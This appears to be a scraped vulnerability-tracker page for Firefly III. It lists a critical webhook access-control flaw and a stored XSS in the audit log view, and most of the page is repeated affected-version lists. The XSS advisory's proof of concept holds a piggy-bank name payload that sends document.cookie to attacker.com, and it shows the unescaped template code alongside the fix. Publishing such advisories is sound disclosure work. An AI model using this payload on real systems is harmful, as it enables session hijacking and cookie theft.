            4.7.16


            4.7.17


            4.7.17.1


            4.7.17.2


            4.7.17.3


            4.7.17.4


            4.7.17.5


            4.7.17.6


            4.7.2


            4.7.2.1


            4.7.2.2


            4.7.3


            4.7.3.1


            4.7.3.2


            4.7.4


            4.7.5


            4.7.5.1


            4.7.5.2


            4.7.5.3


            4.7.6


            4.7.6.1


            4.7.6.2


            4.7.7


            4.7.8


            4.7.9


            4.8.0


            4.8.0.1


            4.8.0.2


            4.8.0.3


            4.8.1


            4.8.1.1


            4.8.1.2


            4.8.1.3


            4.8.1.4


            4.8.1.5


            4.8.1.6


            4.8.1.7


            4.8.1.8


            4.8.2


            4.8.2-alpha.1


            4.8.2-alpha.2


            4.8.2-alpha.3


            4.8.2-alpha.4


            4.8.2-alpha.5


            4.8.2-alpha.6


            4.8.2-beta.1


            4.8.2-beta.2


            4.8.3-alpha.1


            5.0.0


            5.0.0-alpha.1


            5.0.0-alpha.2


            5.0.0-beta.1


            5.0.1


            5.0.2


            5.0.3


            5.0.4


            5.0.5


            5.1.0


            5.1.0-alpha.1


            5.1.0-beta.1


            5.1.1


            5.2.0


            5.2.0-alpha.1


            5.2.0-beta.1


            5.2.1


            5.2.2


            5.2.3


            5.2.4


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.3.0


            5.3.0-alpha.1


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.1


            5.3.2


            5.3.3


            5.4.0


            5.4.0-alpha.1


            5.4.0-alpha.2


            5.4.0-alpha.3


            5.4.0-beta.1


            5.4.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.6


            5.5.0


            5.5.0-beta.1


            5.5.0-beta.2


            5.5.0-beta.3


            5.5.1


            5.5.10


            5.5.11


            5.5.12


            5.5.13


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0-alpha.1


            5.6.0-alpha.2


            5.6.1


            5.6.10


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.10


            5.7.11


            5.7.12


            5.7.13


            5.7.14


            5.7.15


            5.7.16


            5.7.17


            5.7.18


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.9


            5.8.0-alpha.1


            6.0.0-alpha.1


            6.0.0-alpha.2


            6.0.0-beta.1


            6.0.9


            v6.0.0


            v6.0.0-beta.2


            v6.0.1


            v6.0.10


            v6.0.11


            v6.0.12


            v6.0.13


            v6.0.14


            v6.0.15


            v6.0.16


            v6.0.17


            v6.0.18


            v6.0.19


            v6.0.2


            v6.0.20


            v6.0.21


            v6.0.22


            v6.0.23


            v6.0.24


            v6.0.25


            v6.0.26


            v6.0.27


            v6.0.28


            v6.0.29


            v6.0.3


            v6.0.30


            v6.0.4


            v6.0.5


            v6.0.6


            v6.0.7


            v6.0.8


            v6.1.0


            v6.1.0-alpha.1


            v6.1.1


            v6.1.10


            v6.1.11


            v6.1.12


            v6.1.13


            v6.1.14


            v6.1.15


            v6.1.16


            v6.1.17


            v6.1.18


            v6.1.19


            v6.1.2


            v6.1.20


            v6.1.21


            v6.1.22


            v6.1.23


            v6.1.24


            v6.1.25


            v6.1.3


            v6.1.4


            v6.1.5


            v6.1.6


            v6.1.7


            v6.1.8


            v6.1.9


            v6.2.0


            v6.2.0-alpha.1


            v6.2.0-alpha.2


            v6.2.0-beta.1


            v6.2.1


            v6.2.10


            v6.2.11


            v6.2.12


            v6.2.13


            v6.2.14


            v6.2.15


            v6.2.16


            v6.2.17


            v6.2.18


            v6.2.19


            v6.2.2


            v6.2.20


            v6.2.21


            v6.2.3


            v6.2.4


            v6.2.5


            v6.2.6


            v6.2.7


            v6.2.8


            v6.2.9


            v6.3.0


            v6.3.0-beta.1


            v6.3.0-beta.2


            v6.3.1


            v6.3.2


            v6.4.0


            v6.4.1


            v6.4.10


            v6.4.11


            v6.4.12


            v6.4.13


            v6.4.14


            v6.4.15


            v6.4.16


            v6.4.17


            v6.4.18


            v6.4.19


            v6.4.2


            v6.4.20


            v6.4.21


            v6.4.22


            v6.4.23


            v6.4.3


            v6.4.4


            v6.4.5


            v6.4.6


            v6.4.7


            v6.4.8


            v6.4.9


            v6.5.0


            v6.5.1


            v6.5.2


            v6.5.3


            v6.5.4


            v6.5.5


            v6.5.6


            v6.5.7


            v6.5.8


            v6.5.9


            v6.6.0


            v6.6.1


            v6.6.2

Fixed in


          6.6.3

References

Updated Sep 10, 2026 · Source: OSV.dev

Mar 06, 2026

v6.5.3 patch

2 CVEs

CVE-2026-50886 GHSA-9mmg-q95p-gp67 Jun 15, 2026

Project Firefly III has incorrect access control in the webhook management component

9.1 / 10

Critical

Network Low None None Unchanged High High None

Incorrect access control in the webhook management component of Project Firefly III v6.5.9 allows attackers to scan internal resources via a crafted POST request.

Affected versions


          3.0.0


          3.0.1


          3.0.2


          3.0.3

3.1


          3.1.1


          3.1.2


          3.1.3


          3.1.4


          3.1.5


          3.1.6


          3.10

+ 397 more


            3.10.1


            3.10.2


            3.10.3


            3.10.4


            3.2.0


            3.2.1


            3.2.2


            3.2.3


            3.2.4


            3.2.5

3.3


            3.3.1


            3.3.2


            3.3.3


            3.3.4


            3.3.5


            3.3.6


            3.3.7


            3.3.8


            3.3.9

3.4


            3.4.0.1


            3.4.0.10


            3.4.0.2


            3.4.0.3


            3.4.0.4


            3.4.0.5


            3.4.0.6


            3.4.0.7


            3.4.0.8


            3.4.0.9


            3.4.1


            3.4.10


            3.4.11


            3.4.2


            3.4.3


            3.4.4


            3.4.4.1


            3.4.4.2


            3.4.5


            3.4.6


            3.4.6.1


            3.4.7


            3.4.8


            3.4.9


            3.5.0


            3.5.1


            3.5.2


            3.5.3


            3.5.4


            3.5.5


            3.5.6


            3.5.6.1


            3.6.0


            3.6.1


            3.7.0


            3.7.1


            3.7.2


            3.7.2.1


            3.7.2.2


            3.7.2.3


            3.8.0


            3.8.1


            3.8.2


            3.8.3


            3.8.4


            3.9.0


            3.9.1


            4.0.0


            4.0.1


            4.0.2


            4.1.0


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.5


            4.1.6


            4.1.7


            4.2.0


            4.2.1


            4.2.2


            4.3.0


            4.3.1


            4.3.2


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.7


            4.3.8


            4.4.0


            4.4.1


            4.4.2


            4.4.3


            4.5.0


            4.6.0


            4.6.1


            4.6.10


            4.6.11


            4.6.11.1


            4.6.12


            4.6.13


            4.6.2


            4.6.3


            4.6.3.1


            4.6.4


            4.6.5


            4.6.6


            4.6.7


            4.6.8


            4.6.9


            4.7.0


            4.7.1


            4.7.1.1


            4.7.1.2


            4.7.1.3


            4.7.1.4


            4.7.10


            4.7.11


            4.7.12


            4.7.12.1


            4.7.13


            4.7.14


            4.7.15


            4.7.16


            4.7.17


            4.7.17.1


            4.7.17.2


            4.7.17.3


            4.7.17.4


            4.7.17.5


            4.7.17.6


            4.7.2


            4.7.2.1


            4.7.2.2


            4.7.3


            4.7.3.1


            4.7.3.2


            4.7.4


            4.7.5


            4.7.5.1


            4.7.5.2


            4.7.5.3


            4.7.6


            4.7.6.1


            4.7.6.2


            4.7.7


            4.7.8


            4.7.9


            4.8.0


            4.8.0.1


            4.8.0.2


            4.8.0.3


            4.8.1


            4.8.1.1


            4.8.1.2


            4.8.1.3


            4.8.1.4


            4.8.1.5


            4.8.1.6


            4.8.1.7


            4.8.1.8


            4.8.2


            4.8.2-alpha.1


            4.8.2-alpha.2


            4.8.2-alpha.3


            4.8.2-alpha.4


            4.8.2-alpha.5


            4.8.2-alpha.6


            4.8.2-beta.1


            4.8.2-beta.2


            4.8.3-alpha.1


            5.0.0


            5.0.0-alpha.1


            5.0.0-alpha.2


            5.0.0-beta.1


            5.0.1


            5.0.2


            5.0.3


            5.0.4


            5.0.5


            5.1.0


            5.1.0-alpha.1


            5.1.0-beta.1


            5.1.1


            5.2.0


            5.2.0-alpha.1


            5.2.0-beta.1


            5.2.1


            5.2.2


            5.2.3


            5.2.4


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.3.0


            5.3.0-alpha.1


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.1


            5.3.2


            5.3.3


            5.4.0


            5.4.0-alpha.1


            5.4.0-alpha.2


            5.4.0-alpha.3


            5.4.0-beta.1


            5.4.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.6


            5.5.0


            5.5.0-beta.1


            5.5.0-beta.2


            5.5.0-beta.3


            5.5.1


            5.5.10


            5.5.11


            5.5.12


            5.5.13


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0-alpha.1


            5.6.0-alpha.2


            5.6.1


            5.6.10


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.10


            5.7.11


            5.7.12


            5.7.13


            5.7.14


            5.7.15


            5.7.16


            5.7.17


            5.7.18


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.9


            5.8.0-alpha.1


            6.0.0-alpha.1


            6.0.0-alpha.2


            6.0.0-beta.1


            6.0.9


            v6.0.0


            v6.0.0-beta.2


            v6.0.1


            v6.0.10


            v6.0.11


            v6.0.12


            v6.0.13


            v6.0.14


            v6.0.15


            v6.0.16


            v6.0.17


            v6.0.18


            v6.0.19


            v6.0.2


            v6.0.20


            v6.0.21


            v6.0.22


            v6.0.23


            v6.0.24


            v6.0.25


            v6.0.26


            v6.0.27


            v6.0.28


            v6.0.29


            v6.0.3


            v6.0.30


            v6.0.4


            v6.0.5


            v6.0.6


            v6.0.7


            v6.0.8


            v6.1.0


            v6.1.0-alpha.1


            v6.1.1


            v6.1.10


            v6.1.11


            v6.1.12


            v6.1.13


            v6.1.14


            v6.1.15


            v6.1.16


            v6.1.17


            v6.1.18


            v6.1.19


            v6.1.2


            v6.1.20


            v6.1.21


            v6.1.22


            v6.1.23


            v6.1.24


            v6.1.25


            v6.1.3


            v6.1.4


            v6.1.5


            v6.1.6


            v6.1.7


            v6.1.8


            v6.1.9


            v6.2.0


            v6.2.0-alpha.1


            v6.2.0-alpha.2


            v6.2.0-beta.1


            v6.2.1


            v6.2.10


            v6.2.11


            v6.2.12


            v6.2.13


            v6.2.14


            v6.2.15


            v6.2.16


            v6.2.17


            v6.2.18


            v6.2.19


            v6.2.2


            v6.2.20


            v6.2.21


            v6.2.3


            v6.2.4


            v6.2.5


            v6.2.6


            v6.2.7


            v6.2.8


            v6.2.9


            v6.3.0


            v6.3.0-beta.1


            v6.3.0-beta.2


            v6.3.1


            v6.3.2


            v6.4.0


            v6.4.1


            v6.4.10


            v6.4.11


            v6.4.12


            v6.4.13


            v6.4.14


            v6.4.15


            v6.4.16


            v6.4.17


            v6.4.18


            v6.4.19


            v6.4.2


            v6.4.20


            v6.4.21


            v6.4.22


            v6.4.23


            v6.4.3


            v6.4.4


            v6.4.5


            v6.4.6


            v6.4.7


            v6.4.8


            v6.4.9


            v6.5.0


            v6.5.1


            v6.5.2


            v6.5.3


            v6.5.4


            v6.5.5


            v6.5.6


            v6.5.7


            v6.5.8


            v6.5.9

References

Updated Aug 27, 2026 · Source: OSV.dev

GHSA-6jq6-x4cx-qvcm Jun 12, 2026

Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)

Medium

Network Low Low

Summary

The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.

Root Cause

The |raw filter is required on the outer trans() call to preserve  tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.

Vulnerable code (resources/views/list/ale.twig lines 107, 110):

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy
})|raw }}

No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.

Data Flow

POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
  → Stored verbatim in piggy_banks.name
  → Transaction rule fires add_to_piggy / remove_from_piggy
  → UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
  → Any user views /transactions/show/{id}
  → ale.twig outputs unescaped payload → XSS fires

CSP Note

The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.

PoC

Authenticate as any user
POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
Trigger the rule on any transaction
Visit /transactions/show/{id} → payload fires

Confirmed server response (v6.6.2):

Added <span class="text-success money-positive">EUR 50.00</span> to piggy bank
"<img src=x onerror=alert(document.cookie)>"

Impact

Stored XSS persists in DB — fires for every user who views the transaction
Cookie theft → session hijacking
In multi-user setups: one user attacks another user or admin
Chainable with CSRF-like operations

Fix

PR #12271 (merged into develop): add |e to escape only the user-controlled name parameter.

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy|e
})|raw }}

Affected versions


          3.0.0


          3.0.1


          3.0.2


          3.0.3

3.1


          3.1.1


          3.1.2


          3.1.3


          3.1.4


          3.1.5


          3.1.6


          3.10

+ 400 more


            3.10.1


            3.10.2


            3.10.3


            3.10.4


            3.2.0


            3.2.1


            3.2.2


            3.2.3


            3.2.4


            3.2.5

3.3


            3.3.1


            3.3.2


            3.3.3


            3.3.4


            3.3.5


            3.3.6


            3.3.7


            3.3.8


            3.3.9

3.4


            3.4.0.1


            3.4.0.10


            3.4.0.2


            3.4.0.3


            3.4.0.4


            3.4.0.5


            3.4.0.6


            3.4.0.7


            3.4.0.8


            3.4.0.9


            3.4.1


            3.4.10


            3.4.11


            3.4.2


            3.4.3


            3.4.4


            3.4.4.1


            3.4.4.2


            3.4.5


            3.4.6


            3.4.6.1


            3.4.7


            3.4.8


            3.4.9


            3.5.0


            3.5.1


            3.5.2


            3.5.3


            3.5.4


            3.5.5


            3.5.6


            3.5.6.1


            3.6.0


            3.6.1


            3.7.0


            3.7.1


            3.7.2


            3.7.2.1


            3.7.2.2


            3.7.2.3


            3.8.0


            3.8.1


            3.8.2


            3.8.3


            3.8.4


            3.9.0


            3.9.1


            4.0.0


            4.0.1


            4.0.2


            4.1.0


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.5


            4.1.6


            4.1.7


            4.2.0


            4.2.1


            4.2.2


            4.3.0


            4.3.1


            4.3.2


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.7


            4.3.8


            4.4.0


            4.4.1


            4.4.2


            4.4.3


            4.5.0


            4.6.0


            4.6.1


            4.6.10


            4.6.11


            4.6.11.1


            4.6.12


            4.6.13


            4.6.2


            4.6.3


            4.6.3.1


            4.6.4


            4.6.5


            4.6.6


            4.6.7


            4.6.8


            4.6.9


            4.7.0


            4.7.1


            4.7.1.1


            4.7.1.2


            4.7.1.3


            4.7.1.4


            4.7.10


            4.7.11


            4.7.12


            4.7.12.1


            4.7.13


            4.7.14


            4.7.15


            4.7.16


            4.7.17


            4.7.17.1


            4.7.17.2


            4.7.17.3


            4.7.17.4


            4.7.17.5


            4.7.17.6


            4.7.2


            4.7.2.1


            4.7.2.2


            4.7.3


            4.7.3.1


            4.7.3.2


            4.7.4


            4.7.5


            4.7.5.1


            4.7.5.2


            4.7.5.3


            4.7.6


            4.7.6.1


            4.7.6.2


            4.7.7


            4.7.8


            4.7.9


            4.8.0


            4.8.0.1


            4.8.0.2


            4.8.0.3


            4.8.1


            4.8.1.1


            4.8.1.2


            4.8.1.3


            4.8.1.4


            4.8.1.5


            4.8.1.6


            4.8.1.7


            4.8.1.8


            4.8.2


            4.8.2-alpha.1


            4.8.2-alpha.2


            4.8.2-alpha.3


            4.8.2-alpha.4


            4.8.2-alpha.5


            4.8.2-alpha.6


            4.8.2-beta.1


            4.8.2-beta.2


            4.8.3-alpha.1


            5.0.0


            5.0.0-alpha.1


            5.0.0-alpha.2


            5.0.0-beta.1


            5.0.1


            5.0.2


            5.0.3


            5.0.4


            5.0.5


            5.1.0


            5.1.0-alpha.1


            5.1.0-beta.1


            5.1.1


            5.2.0


            5.2.0-alpha.1


            5.2.0-beta.1


            5.2.1


            5.2.2


            5.2.3


            5.2.4


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.3.0


            5.3.0-alpha.1


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.1


            5.3.2


            5.3.3


            5.4.0


            5.4.0-alpha.1


            5.4.0-alpha.2


            5.4.0-alpha.3


            5.4.0-beta.1


            5.4.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.6


            5.5.0


            5.5.0-beta.1


            5.5.0-beta.2


            5.5.0-beta.3


            5.5.1


            5.5.10


            5.5.11


            5.5.12


            5.5.13


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0-alpha.1


            5.6.0-alpha.2


            5.6.1


            5.6.10


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.10


            5.7.11


            5.7.12


            5.7.13


            5.7.14


            5.7.15


            5.7.16


            5.7.17


            5.7.18


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.9


            5.8.0-alpha.1


            6.0.0-alpha.1


            6.0.0-alpha.2


            6.0.0-beta.1


            6.0.9


            v6.0.0


            v6.0.0-beta.2


            v6.0.1


            v6.0.10


            v6.0.11


            v6.0.12


            v6.0.13


            v6.0.14


            v6.0.15


            v6.0.16


            v6.0.17


            v6.0.18


            v6.0.19


            v6.0.2


            v6.0.20


            v6.0.21


            v6.0.22


            v6.0.23


            v6.0.24


            v6.0.25


            v6.0.26


            v6.0.27


            v6.0.28


            v6.0.29


            v6.0.3


            v6.0.30


            v6.0.4


            v6.0.5


            v6.0.6


            v6.0.7


            v6.0.8


            v6.1.0


            v6.1.0-alpha.1


            v6.1.1


            v6.1.10


            v6.1.11


            v6.1.12


            v6.1.13


            v6.1.14


            v6.1.15


            v6.1.16


            v6.1.17


            v6.1.18


            v6.1.19


            v6.1.2


            v6.1.20


            v6.1.21


            v6.1.22


            v6.1.23


            v6.1.24


            v6.1.25


            v6.1.3


            v6.1.4


            v6.1.5


            v6.1.6


            v6.1.7


            v6.1.8


            v6.1.9


            v6.2.0


            v6.2.0-alpha.1


            v6.2.0-alpha.2


            v6.2.0-beta.1


            v6.2.1


            v6.2.10


            v6.2.11


            v6.2.12


            v6.2.13


            v6.2.14


            v6.2.15


            v6.2.16


            v6.2.17


            v6.2.18


            v6.2.19


            v6.2.2


            v6.2.20


            v6.2.21


            v6.2.3


            v6.2.4


            v6.2.5


            v6.2.6


            v6.2.7


            v6.2.8


            v6.2.9


            v6.3.0


            v6.3.0-beta.1


            v6.3.0-beta.2


            v6.3.1


            v6.3.2


            v6.4.0


            v6.4.1


            v6.4.10


            v6.4.11


            v6.4.12


            v6.4.13


            v6.4.14


            v6.4.15


            v6.4.16


            v6.4.17


            v6.4.18


            v6.4.19


            v6.4.2


            v6.4.20


            v6.4.21


            v6.4.22


            v6.4.23


            v6.4.3


            v6.4.4


            v6.4.5


            v6.4.6


            v6.4.7


            v6.4.8


            v6.4.9


            v6.5.0


            v6.5.1


            v6.5.2


            v6.5.3


            v6.5.4


            v6.5.5


            v6.5.6


            v6.5.7


            v6.5.8


            v6.5.9


            v6.6.0


            v6.6.1


            v6.6.2

Fixed in


          6.6.3

References

Updated Sep 10, 2026 · Source: OSV.dev

Mar 04, 2026

v6.5.2 patch

2 CVEs

CVE-2026-50886 GHSA-9mmg-q95p-gp67 Jun 15, 2026

Project Firefly III has incorrect access control in the webhook management component

9.1 / 10

Critical

Network Low None None Unchanged High High None

Incorrect access control in the webhook management component of Project Firefly III v6.5.9 allows attackers to scan internal resources via a crafted POST request.

Affected versions


          3.0.0


          3.0.1


          3.0.2


          3.0.3

3.1


          3.1.1


          3.1.2


          3.1.3


          3.1.4


          3.1.5


          3.1.6


          3.10

+ 397 more


            3.10.1


            3.10.2


            3.10.3


            3.10.4


            3.2.0


            3.2.1


            3.2.2


            3.2.3


            3.2.4


            3.2.5

3.3


            3.3.1


            3.3.2


            3.3.3


            3.3.4


            3.3.5


            3.3.6


            3.3.7


            3.3.8


            3.3.9

3.4


            3.4.0.1


            3.4.0.10


            3.4.0.2


            3.4.0.3


            3.4.0.4


            3.4.0.5


            3.4.0.6


            3.4.0.7


            3.4.0.8


            3.4.0.9


            3.4.1


            3.4.10


            3.4.11


            3.4.2


            3.4.3


            3.4.4


            3.4.4.1


            3.4.4.2


            3.4.5


            3.4.6


            3.4.6.1


            3.4.7


            3.4.8


            3.4.9


            3.5.0


            3.5.1


            3.5.2


            3.5.3


            3.5.4


            3.5.5


            3.5.6


            3.5.6.1


            3.6.0


            3.6.1


            3.7.0


            3.7.1


            3.7.2


            3.7.2.1


            3.7.2.2


            3.7.2.3


            3.8.0


            3.8.1


            3.8.2


            3.8.3


            3.8.4


            3.9.0


            3.9.1


            4.0.0


            4.0.1


            4.0.2


            4.1.0


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.5


            4.1.6


            4.1.7


            4.2.0


            4.2.1


            4.2.2


            4.3.0


            4.3.1


            4.3.2


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.7


            4.3.8


            4.4.0


            4.4.1


            4.4.2


            4.4.3


            4.5.0


            4.6.0


            4.6.1


            4.6.10


            4.6.11


            4.6.11.1


            4.6.12


            4.6.13


            4.6.2


            4.6.3


            4.6.3.1


            4.6.4


            4.6.5


            4.6.6


            4.6.7


            4.6.8


            4.6.9


            4.7.0


            4.7.1


            4.7.1.1


            4.7.1.2


            4.7.1.3


            4.7.1.4


            4.7.10


            4.7.11


            4.7.12


            4.7.12.1


            4.7.13


            4.7.14


            4.7.15


            4.7.16


            4.7.17


            4.7.17.1


            4.7.17.2


            4.7.17.3


            4.7.17.4


            4.7.17.5


            4.7.17.6


            4.7.2


            4.7.2.1


            4.7.2.2


            4.7.3


            4.7.3.1


            4.7.3.2


            4.7.4


            4.7.5


            4.7.5.1


            4.7.5.2


            4.7.5.3


            4.7.6


            4.7.6.1


            4.7.6.2


            4.7.7


            4.7.8


            4.7.9


            4.8.0


            4.8.0.1


            4.8.0.2


            4.8.0.3


            4.8.1


            4.8.1.1


            4.8.1.2


            4.8.1.3


            4.8.1.4


            4.8.1.5


            4.8.1.6


            4.8.1.7


            4.8.1.8


            4.8.2


            4.8.2-alpha.1


            4.8.2-alpha.2


            4.8.2-alpha.3


            4.8.2-alpha.4


            4.8.2-alpha.5


            4.8.2-alpha.6


            4.8.2-beta.1


            4.8.2-beta.2


            4.8.3-alpha.1


            5.0.0


            5.0.0-alpha.1


            5.0.0-alpha.2


            5.0.0-beta.1


            5.0.1


            5.0.2


            5.0.3


            5.0.4


            5.0.5


            5.1.0


            5.1.0-alpha.1


            5.1.0-beta.1


            5.1.1


            5.2.0


            5.2.0-alpha.1


            5.2.0-beta.1


            5.2.1


            5.2.2


            5.2.3


            5.2.4


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.3.0


            5.3.0-alpha.1


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.1


            5.3.2


            5.3.3


            5.4.0


            5.4.0-alpha.1


            5.4.0-alpha.2


            5.4.0-alpha.3


            5.4.0-beta.1


            5.4.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.6


            5.5.0


            5.5.0-beta.1


            5.5.0-beta.2


            5.5.0-beta.3


            5.5.1


            5.5.10


            5.5.11


            5.5.12


            5.5.13


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0-alpha.1


            5.6.0-alpha.2


            5.6.1


            5.6.10


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.10


            5.7.11


            5.7.12


            5.7.13


            5.7.14


            5.7.15


            5.7.16


            5.7.17


            5.7.18


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.9


            5.8.0-alpha.1


            6.0.0-alpha.1


            6.0.0-alpha.2


            6.0.0-beta.1


            6.0.9


            v6.0.0


            v6.0.0-beta.2


            v6.0.1


            v6.0.10


            v6.0.11


            v6.0.12


            v6.0.13


            v6.0.14


            v6.0.15


            v6.0.16


            v6.0.17


            v6.0.18


            v6.0.19


            v6.0.2


            v6.0.20


            v6.0.21


            v6.0.22


            v6.0.23


            v6.0.24


            v6.0.25


            v6.0.26


            v6.0.27


            v6.0.28


            v6.0.29


            v6.0.3


            v6.0.30


            v6.0.4


            v6.0.5


            v6.0.6


            v6.0.7


            v6.0.8


            v6.1.0


            v6.1.0-alpha.1


            v6.1.1


            v6.1.10


            v6.1.11


            v6.1.12


            v6.1.13


            v6.1.14


            v6.1.15


            v6.1.16


            v6.1.17


            v6.1.18


            v6.1.19


            v6.1.2


            v6.1.20


            v6.1.21


            v6.1.22


            v6.1.23


            v6.1.24


            v6.1.25


            v6.1.3


            v6.1.4


            v6.1.5


            v6.1.6


            v6.1.7


            v6.1.8


            v6.1.9


            v6.2.0


            v6.2.0-alpha.1


            v6.2.0-alpha.2


            v6.2.0-beta.1


            v6.2.1


            v6.2.10


            v6.2.11


            v6.2.12


            v6.2.13


            v6.2.14


            v6.2.15


            v6.2.16


            v6.2.17


            v6.2.18


            v6.2.19


            v6.2.2


            v6.2.20


            v6.2.21


            v6.2.3


            v6.2.4


            v6.2.5


            v6.2.6


            v6.2.7


            v6.2.8


            v6.2.9


            v6.3.0


            v6.3.0-beta.1


            v6.3.0-beta.2


            v6.3.1


            v6.3.2


            v6.4.0


            v6.4.1


            v6.4.10


            v6.4.11


            v6.4.12


            v6.4.13


            v6.4.14


            v6.4.15


            v6.4.16


            v6.4.17


            v6.4.18


            v6.4.19


            v6.4.2


            v6.4.20


            v6.4.21


            v6.4.22


            v6.4.23


            v6.4.3


            v6.4.4


            v6.4.5


            v6.4.6


            v6.4.7


            v6.4.8


            v6.4.9


            v6.5.0


            v6.5.1


            v6.5.2


            v6.5.3


            v6.5.4


            v6.5.5


            v6.5.6


            v6.5.7


            v6.5.8


            v6.5.9

References

Updated Aug 27, 2026 · Source: OSV.dev

GHSA-6jq6-x4cx-qvcm Jun 12, 2026

Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)

Medium

Network Low Low

Summary

The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.

Root Cause

The |raw filter is required on the outer trans() call to preserve  tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.

Vulnerable code (resources/views/list/ale.twig lines 107, 110):

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy
})|raw }}

No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.

Data Flow

POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
  → Stored verbatim in piggy_banks.name
  → Transaction rule fires add_to_piggy / remove_from_piggy
  → UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
  → Any user views /transactions/show/{id}
  → ale.twig outputs unescaped payload → XSS fires

CSP Note

The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.

PoC

Authenticate as any user
POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
Trigger the rule on any transaction
Visit /transactions/show/{id} → payload fires

Confirmed server response (v6.6.2):

Added <span class="text-success money-positive">EUR 50.00</span> to piggy bank
"<img src=x onerror=alert(document.cookie)>"

Impact

Stored XSS persists in DB — fires for every user who views the transaction
Cookie theft → session hijacking
In multi-user setups: one user attacks another user or admin
Chainable with CSRF-like operations

Fix

PR #12271 (merged into develop): add |e to escape only the user-controlled name parameter.

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy|e
})|raw }}

Affected versions


          3.0.0


          3.0.1


          3.0.2


          3.0.3

3.1


          3.1.1


          3.1.2


          3.1.3


          3.1.4


          3.1.5


          3.1.6


          3.10

+ 400 more


            3.10.1


            3.10.2


            3.10.3


            3.10.4


            3.2.0


            3.2.1


            3.2.2


            3.2.3


            3.2.4


            3.2.5

3.3


            3.3.1


            3.3.2


            3.3.3


